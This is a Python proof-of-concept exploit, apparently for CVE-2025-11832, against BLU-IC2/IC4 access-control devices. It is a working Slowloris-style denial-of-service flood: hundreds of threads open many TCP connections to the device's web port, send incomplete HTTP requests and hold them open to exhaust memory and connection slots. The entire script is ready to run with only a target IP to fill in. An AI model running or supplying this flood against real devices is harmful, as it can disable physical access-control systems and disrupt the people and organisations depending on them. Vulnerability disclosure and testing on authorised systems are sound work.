CVE-2025-11832

# CVE-2025-11832 - Azure Access Technology BLU-IC2/IC4 Resource Exhaustion PoC # Vulnerability: Allocation of Resources Without Limits or Throttling (CWE-770) # Attack Type: Flooding / Denial of Service # Affected: BLU-IC2 <= 1.19.5, BLU-IC4 <= 1.19.5 import socket import threading import time import sys TARGET_HOST = "192.168.1.100" # Replace with target BLU-IC2/IC4 device IP TARGET_PORT = 80 # Default management/web port THREAD_COUNT = 500 # Number of concurrent threads CONNECTION_DURATION = 60 # Attack duration in seconds def flood_target(): """ Establish and maintain multiple connections to exhaust target device resources (memory, file descriptors, threads). """ sockets_list = [] try: for _ in range(100): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_HOST, TARGET_PORT)) # Send partial HTTP request to keep connection alive s.send(b"GET / HTTP/1.1\r\nHost: " + TARGET_HOST.encode() + b"\r\n") sockets_list.append(s) except Exception: pass # Hold connections open to consume resources time.sleep(CONNECTION_DURATION) for s in sockets_list: try: s.close() except Exception: pass except Exception as e: print(f"Thread error: {e}") def main(): print(f"[*] CVE-2025-11832 PoC - Resource Exhaustion Attack") print(f"[*] Target: {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Threads: {THREAD_COUNT}") print(f"[*] Duration: {CONNECTION_DURATION}s") print(f"[*] Starting attack...") threads = [] for i in range(THREAD_COUNT): t = threading.Thread(target=flood_target, daemon=True) t.start() threads.append(t) try: time.sleep(CONNECTION_DURATION) except KeyboardInterrupt: print("[!] Attack interrupted by user") print(f"[*] Attack completed. Target resources should be exhausted.") if __name__ == "__main__": main()

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